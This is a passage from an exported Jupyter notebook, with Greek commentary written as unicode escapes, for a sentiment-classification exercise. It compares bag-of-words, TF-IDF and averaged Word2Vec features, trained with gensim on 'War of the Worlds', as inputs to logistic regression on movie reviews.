\u03c4\u03c9\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ce\u03bd \u03b4\u03b9\u03b1\u03b9\u03c1\u03b5\u03bc\u03ad\u03bd\u03bf\u03c2 \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc \u03c4\u03c9\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ce\u03bd \u03c3\u03c4\u03b9\u03c2 \u03bf\u03c0\u03bf\u03af\u03b5\u03c2 \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03b7 \u03bb\u03ad\u03be\u03b7 \u03bc\u03b1\u03c2, \u03bc\u03b5 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03bf \u03cc\u03c1\u03bf\u03c2 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03bd\u03b1 \u03b1\u03c5\u03be\u03ac\u03bd\u03b5\u03c4\u03b1\u03b9 \u03cc\u03c3\u03bf \u03c0\u03b9\u03bf \u03c3\u03c0\u03ac\u03bd\u03b9\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03bb\u03ad\u03be\u03b7.\n\n# __\u03b2)__  \u03a4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd transformer CountVectorizer \u03c4\u03bf\u03c5 sklearn \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b5\u03be\u03ac\u03b3\u03bf\u03c5\u03bc\u03b5 __\u03bc\u03b7 \u03c3\u03c4\u03b1\u03b8\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2 BOW \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2__.\n\n# In[52]:\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n# Define the vectorizer using our preprocess and tokenize function.\nvectorizer = CountVectorizer(analyzer = preproc_tok)\n# Get training data X_train.\nX_train = vectorizer.fit_transform(X_train_raw)\n# Get test data X_test.\nX_test = vectorizer.transform(X_test_raw)\n\n\n# __\u03b3)__ \u03a3\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03c3\u03c4\u03ac\u03b4\u03b9\u03bf \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03c5\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b5\u03c2 \u03bc\u03b5 \u03c4\u03b1 training \u03ba\u03b1\u03b9 \u03c4\u03b1 test data \u03ba\u03b1\u03b9 \u03c4\u03b1 \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 labels. \u039f\u03c0\u03cc\u03c4\u03b5 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b5\u03c6\u03b1\u03c1\u03bc\u03cc\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03b7\u03c4\u03ae Linear Regression \u03c4\u03bf\u03c5 sklearn \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 \u03c3\u03c7\u03cc\u03bb\u03b9\u03b1 \u03c3\u03b5 \u03b8\u03b5\u03c4\u03b9\u03ba\u03ac \u03ba\u03b1\u03b9 \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03ac.\n\n# In[53]:\n\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import zero_one_loss\n\n# Define the clasifier\nclf = LogisticRegression()\n# Train the model\nclf.fit(X_train, Y_train)\n\n\n# In[54]:\n\n\n# Compute error on training data.\nprint(\"Training error =\", zero_one_loss(Y_train, clf.predict(X_train)))\n# Compute error on test data\nprint(\"Test error =\", zero_one_loss(Y_test, clf.predict(X_test)))\n\n\n# __\u03b4)__ \u03a4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03b5\u03c0\u03b1\u03bd\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd TfidfVectorizer \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b5\u03be\u03b1\u03b3\u03ce\u03b3\u03b7 TF-IDF \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd.\n\n# In[55]:\n\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\ntfidf_vectorizer = TfidfVectorizer(analyzer = preproc_tok)\nX_train = tfidf_vectorizer.fit_transform(X_train_raw)\nX_test = tfidf_vectorizer.transform(X_test_raw)\n\n\n# In[56]:\n\n\n# Define the clasifier\nclf_tfidf = LogisticRegression()\n# Train the model\nclf_tfidf.fit(X_train, Y_train)\n# Compute error on training data.\nprint(\"Training error =\", zero_one_loss(Y_train, clf_tfidf.predict(X_train)))\n# Compute error on test data\nprint(\"Test error =\", zero_one_loss(Y_test, clf_tfidf.predict(X_test)))\n\n\n# #### \u03a3\u03cd\u03b3\u03ba\u03c1\u03b9\u03c3\u03b7 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03c3\u03bc\u03ac\u03c4\u03c9\u03bd:\n# \u03a0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03bf\u03cd\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03c4\u03bf test error \u03bc\u03b5\u03b9\u03ce\u03bd\u03b5\u03c4\u03b1\u03b9 \u03ba\u03b1\u03c4\u03ac 1% \u03c0\u03b5\u03c1\u03af\u03c0\u03bf\u03c5 \u03cc\u03c4\u03b1\u03bd \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bc\u03b5 \u03b2\u03ac\u03c1\u03b7 TF-IDF \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7\u03c2. \u03a4\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03ae\u03c4\u03b1\u03bd \u03b1\u03bd\u03b1\u03bc\u03b5\u03bd\u03cc\u03bc\u03b5\u03bd\u03bf \u03b3\u03b9\u03b1\u03c4\u03af \u03cc\u03c0\u03c9\u03c2 \u03b5\u03b9\u03c0\u03ce\u03b8\u03b7\u03ba\u03b5 \u03c3\u03c4\u03bf \u03b1) \u03b7 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03b1\u03c5\u03c4\u03ae \u03ba\u03b1\u03bb\u03cd\u03c0\u03c4\u03b5\u03b9 \u03ba\u03ac\u03c0\u03bf\u03b9\u03b1 \u03ba\u03b5\u03bd\u03ac \u03c0\u03bf\u03c5 \u03b5\u03af\u03c7\u03b5 \u03b7 \u03bc\u03b7 \u03c3\u03c4\u03b1\u03b8\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7 BOW \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7. \n\n# ### \u0392\u03ae\u03bc\u03b1 18: \u03a7\u03c1\u03ae\u03c3\u03b7 Word2Vec \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03b3\u03b9\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03cc\u03bc\u03b7\u03c3\u03b7\n\n# \u0388\u03bd\u03b1\u03c2 \u03ac\u03bb\u03bb\u03bf\u03c2 \u03c4\u03c1\u03cc\u03c0\u03bf\u03c2 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c7\u03c1\u03ae\u03c3\u03b7 \u03c0\u03c1\u03bf\u03b5\u03ba\u03c0\u03b1\u03b9\u03b4\u03b5\u03c5\u03bc\u03ad\u03bd\u03c9\u03bd embeddings. \u03a3\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b8\u03b1 \u03b5\u03c3\u03c4\u03b9\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c4\u03b1 word2vec embeddings. \u0391\u03c5\u03c4\u03ac \u03c4\u03b1 embeddings \u03c0\u03c1\u03bf\u03ba\u03cd\u03c0\u03c4\u03bf\u03c5\u03bd \u03b1\u03c0\u03cc \u03ad\u03bd\u03b1 \u03bd\u03b5\u03c5\u03c1\u03c9\u03bd\u03b9\u03ba\u03cc \u03b4\u03af\u03ba\u03c4\u03c5\u03bf \u03bc\u03b5 \u03ad\u03bd\u03b1 layer \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03ba\u03b1\u03bb\u03b5\u03af\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ad\u03c8\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03bb\u03ad\u03be\u03b7 \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03bf context \u03c4\u03b7\u03c2 (\u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf 3-5 \u03bb\u03ad\u03be\u03b5\u03c9\u03bd \u03b3\u03cd\u03c1\u03c9 \u03b1\u03c0\u03cc \u03b1\u03c5\u03c4\u03ae). \u0391\u03c5\u03c4\u03cc \u03bf\u03bd\u03bf\u03bc\u03ac\u03b6\u03b5\u03c4\u03b1\u03b9 CBOW \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf. \u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ac \u03c4\u03bf \u03b4\u03af\u03ba\u03c4\u03c5\u03bf \u03ba\u03b1\u03bb\u03b5\u03af\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ad\u03c8\u03b5\u03b9 \u03c4\u03bf context \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03b7 \u03bb\u03ad\u03be\u03b7 (skip-gram \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf). \u03a4\u03b1 word2vec vectors \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03c5\u03ba\u03bd\u03ad\u03c2 (dense) \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03c3\u03b5 \u03bb\u03b9\u03b3\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03b4\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03b1\u03c0\u03cc \u03c4\u03b9\u03c2 BOW \u03ba\u03b1\u03b9 \u03ba\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bd \u03c3\u03b7\u03bc\u03b1\u03c3\u03b9\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ac \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03b9\u03c3\u03c4\u03b9\u03ba\u03ac \u03bc\u03b9\u03b1\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03b7\u03bd \u03c5\u03c0\u03cc\u03b8\u03b5\u03c3\u03b7 \u03cc\u03c4\u03b9 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03bc\u03b5 \u03c0\u03b1\u03c1\u03cc\u03bc\u03bf\u03b9\u03bf \u03bd\u03cc\u03b7\u03bc\u03b1 \u03b5\u03bc\u03c6\u03b1\u03bd\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c3\u03b5 \u03c0\u03b1\u03c1\u03cc\u03bc\u03bf\u03b9\u03b1 \u03c3\u03c5\u03b3\u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03b1 (contexts). \u039c\u03b9\u03b1 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03b1\u03b8\u03b5\u03af \u03c9\u03c2 \u03bf \u03bc\u03ad\u03c3\u03bf\u03c2 \u03cc\u03c1\u03bf\u03c2 \u03c4\u03c9\u03bd w2v \u03b4\u03b9\u03b1\u03bd\u03c5\u03c3\u03bc\u03ac\u03c4\u03c9\u03bd \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 (Neural Bag of Words).\n\n# \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03b8\u03b1 \u03b5\u03c0\u03b1\u03bd\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 \u03b2\u03ae\u03bc\u03b1\u03c4\u03b1 9\u03b1, 9\u03b2 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae\u03c2 \u03b3\u03b9\u03b1\u03c4\u03af \u03b8\u03b1 \u03bc\u03b1\u03c2 \u03c7\u03c1\u03b5\u03b9\u03b1\u03c3\u03c4\u03bf\u03cd\u03bd \u03b3\u03b9\u03b1 \u03c4\u03b1 \u03b4\u03cd\u03bf \u03c0\u03c1\u03ce\u03c4\u03b1 \u03b5\u03c1\u03c9\u03c4\u03ae\u03bc\u03b1\u03c4\u03b1.\n\n# - \u0394\u03b9\u03b1\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b2\u03b9\u03b2\u03bb\u03af\u03bf War of the Worlds \u03c0\u03bf\u03c5 \u03b5\u03af\u03c7\u03b1\u03bc\u03b5 \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03c3\u03b5\u03b9 \u03b3\u03b9\u03b1 \u03c4\u03bf \u03bc\u03ad\u03c1\u03bf\u03c2 \u0391 \u03c3\u03b5 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03b1\u03c0\u03cc tokenized \u03c0\u03c1\u03bf\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2.\n\n# In[57]:\n\n\nimport nltk\n\n# We split the corpus in a list of tokenized sentences.\nfile_path = \"War.txt\"\ntokenized_sentences = []\nwith open(file_path, \"r\") as f:\n    text = f.read()\n    sentences = nltk.sent_tokenize(text)\n    tokenized_sentences = [preproc_tok(sentence) for sentence in sentences]\n\n\n# - X\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bc\u03b5 \u03c4\u03b7\u03bd \u03ba\u03bb\u03ac\u03c3\u03b7 Word2Vec \u03c4\u03bf\u03c5 gensim \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b5\u03ba\u03c0\u03b1\u03b9\u03b4\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 100-\u03b4\u03b9\u03ac\u03c3\u03c4\u03b1\u03c4\u03b1 word2vec embeddings \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03b9\u03c2 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03c0\u03c1\u03bf\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2. \u0398\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 window = 5 \u03ba\u03b1\u03b9 1000 \u03b5\u03c0\u03bf\u03c7\u03ad\u03c2.\n\n# In[58]:\n\n\nfrom gensim.models import Word2Vec\n\n# Initialize word2vec. Context is taken as the 2 previous and 2 next words\nmyModel = Word2Vec(tokenized_sentences, window=5, size=100, workers=4)\n# Train the model for 1000 epochs\nmyModel.train(tokenized_sentences, total_examples=len(tokenized_sentences), epochs=1000)\n\n\n# \u0397 \u03bc\u03b5\u03c4\u03b1\u03b2\u03bb\u03b7\u03c4\u03ae __voc__ \u03ba\u03c1\u03b1\u03c4\u03ac\u03b5\u03b9 \u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03b5\u03bd\u03ce \u03b7 __dim__ \u03c4\u03bf \u03bc\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03c4\u03bf\u03c5 \u03ba\u03ac\u03b8\u03b5 embedding.\n\n# In[59]:\n\n\n# get ordered vocabulary list\nvoc = myModel.wv.index2word\n# get vector size\ndim = myModel.vector_size\n\n\n# \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __to_embeddings_Matrix__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03cc\u03c1\u03b9\u03c3\u03bc\u03b1 \u03c4\u03bf \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03bc\u03b1\u03c2 \u03ba\u03b1\u03b9 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03ad\u03bd\u03b1\u03bd 2-\u03b4\u03b9\u03ac\u03c3\u03c4\u03b1\u03c4\u03bf \u03c0\u03af\u03bd\u03b1\u03ba\u03b1 \u03cc\u03c0\u03bf\u03c5 \u03ba\u03ac\u03b8\u03b5 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b9\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9 \u03ad\u03bd\u03b1 embedding \u03ba\u03b1\u03b9 \u03ad\u03bd\u03b1 \u03bb\u03b5\u03be\u03b9\u03ba\u03cc.\n\n# In[60]:\n\n\n# Convert to numpy 2d array (n_vocab x vector_size)\ndef to_embeddings_Matrix(model):  \n    embedding_matrix = np.zeros((len(model.wv.vocab), model.vector_size))\n    for i in range(len(model.wv.vocab)):\n        embedding_matrix[i] = model.wv[model.wv.index2word[i]]\n    return embedding_matrix, model.wv.index2word\n\n\n# __\u03b1)__ \u03a3\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c0\u03bf\u03c3\u03bf\u03c3\u03c4\u03cc __out of vocabulary (OOV) words__ \u03b3\u03b9\u03b1 \u03c4\u03b9\u03c2 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2. \n\n# In[61]:\n\n\ntokens = get_tokens(\"War.txt\")\noov = (1 - len(voc)/len(tokens)) * 100\nprint(\"Out of vocabulary words: \" + str(oov) + \"%\")\n\n\n# __\u03b2)__ \u03a4\u03ce\u03c1\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03b1\u03c5\u03c4\u03ad\u03c2 \u03c4\u03b9\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 __Neural Bag of Words \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd__ \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03c3\u03c7\u03cc\u03bb\u03b9\u03bf \u03c3\u03c4\u03bf corpus \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03b5\u03ba\u03c0\u03b1\u03b9\u03b4\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 Logistic Regression \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03b3\u03b9\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03cc\u03bc\u03b7\u03c3\u03b7.\n\n# \u0391\u03c1\u03c7\u03b9\u03ba\u03ac, \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03c5\u03bc\u03b5 \u03c4o training \u03ba\u03b1\u03b9 \u03c4\u03bf test set \u03c3\u03b5 raw text \u03bc\u03bf\u03c1\u03c6\u03ae.\n\n# In[62]:\n\n\nX_train_raw, Y_train = create_corpus(read_samples(pos_train_dir), read_samples(neg_train_dir))\nX_test_raw, Y_test = create_corpus(read_samples(pos_test_dir), read_samples(neg_test_dir))\n\n\n# \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1, \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf neural bag of words, \u03c0\u03bf\u03c5 \u03bf\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03bf \u03bc\u03ad\u03c3\u03bf\u03c2 \u03cc\u03c1\u03bf\u03c2 \u03c4\u03c9\u03bd w2v \u03b4\u03b9\u03b1\u03bd\u03c5\u03c3\u03bc\u03ac\u03c4\u03c9\u03bd \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9.\n\n# In[63]:\n\n\n# Initialize training set\nX_train = np.zeros((len(X_train_raw), 100))\nfor row, sample in enumerate(X_train_raw):\n    words_included = 0\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in myModel.wv:\n            X_train[row] += myModel.wv[tok]\n            words_included += 1\n    # Get the mean value\n    X_train[row] = X_train[row]/words_included\n\n\n# In[64]:\n\n\n# Initialize test set\nX_test = np.zeros((len(X_test_raw), 100))\nfor row, sample in enumerate(X_test_raw):\n    words_included = 0\n    # Tokenize current review\n    sample_toks = preproc_tok(sample)\n    for tok in sample_toks:\n        # For each token check if it has a w2v representation\n        # and if yes add it.\n        if tok in myModel.wv:\n            X_test[row] += myModel.wv[tok]\n            words_included += 1\n    # Get the mean value\n    X_test[row] = X_test[row]/words_included\n\n\n# In[65]:\n\n\n# Define the clasifier\nclf = LogisticRegression()\n# Train the model\nclf.fit(X_train, Y_train)\n\n\n# In[66]:\n\n\n# Compute error on training data.\nprint(\"Training error =\", zero_one_loss(Y_train, clf.predict(X_train)))\n# Compute error on test data\nprint(\"Test error =\", zero_one_loss(Y_test, clf.predict(X_test)))\n\n\n# \u039a\u03b1\u03b9 \u03c4\u03b1 \u03b4\u03cd\u03bf error \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03ac\u03c1\u03b1 \u03c0\u03bf\u03bb\u03cd \u03c5\u03c8\u03b7\u03bb\u03ac \u03bc\u03b5 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c4\u03bf \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03bc\u03b1\u03c2 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03c0\u03ac\u03c1\u03b1 \u03c0\u03bf\u03bb\u03cd \u03c7\u03b1\u03bc\u03b7\u03bb\u03ae \u03b1\u03c0\u03cc\u03b4\u03bf\u03c3\u03b7. \u0397 \u03b5\u03be\u03ae\u03b3\u03b7\u03c3\u03b7 \u03b3\u03b9\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03b5\u03b9 \u03c4\u03b1 word embeddings \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03ad\u03bd\u03b1 \u03c0\u03ac\u03c1\u03b1 \u03c0\u03bf\u03bb\u03cd \u03bc\u03b9\u03ba\u03c1\u03cc corpus \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03ba\u03b1\u03b9 \u03ad\u03c7\u03b5\u03b9 \u03bc\u03b9\u03ba\u03c1\u03cc \u03bb\u03b5\u03be\u03b9\u03ba\u03cc (\u03bc\u03b5 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c0\u03bf\u03bb\u03bb\u03ad\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03bd\u03b1 \u03bc\u03b7\u03bd \u03ad\u03c7\u03bf\u03c5\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7) \u03ba\u03b1\u03b9 \u03b4\u03b5\u03bd \u03b2\u03bf\u03b7\u03b8\u03ac\u03b5\u03b9 \u03c3\u03c4\u03bf \u03bd\u03b1 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03b7\u03b8\u03bf\u03cd\u03bd \u03c0\u03b1\u03c1\u03cc\u03bc\u03bf\u03b9\u03b5\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03b3\u03b9\u03b1 \u03ba\u03bf\u03bd\u03c4\u03b9\u03bd\u03ac \u03c3\u03b7\u03bc\u03b1\u03c3\u03b9\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ac \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 (\u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03c0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03ae\u03c3\u03b1\u03bc\u03b5 \u03ba\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03cc\u03c4\u03b1\u03bd \u03b5\u03af\u03b4\u03b1\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03ba\u03bf\u03bd\u03c4\u03b9\u03bd\u03ad\u03c2 \u03c3\u03b7\u03bc\u03b1\u03c3\u03b9\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ac \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 10 \u03c4\u03c5\u03c7\u03b1\u03af\u03c9\u03bd \u03bb\u03ad\u03be\u03b5\u03bd).\n\n#  __\u03b3, \u03b4)__ \u039a\u03b1\u03c4\u03b5\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c0\u03c1\u03bf\u03b5\u03ba\u03c0\u03b1\u03b9\u03b4\u03b5\u03c5\u03bc\u03ad\u03bd\u03b1 GoogleNews vectors, \u03c4\u03b1 \u03c6\u03bf\u03c1\u03c4\u03ce\u03bd\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03bf gensim \u03ba\u03b1\u03b9 \u03b5\u03be\u03ac\u03b3\u03bf\u03c5\u03bc\u03b5 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 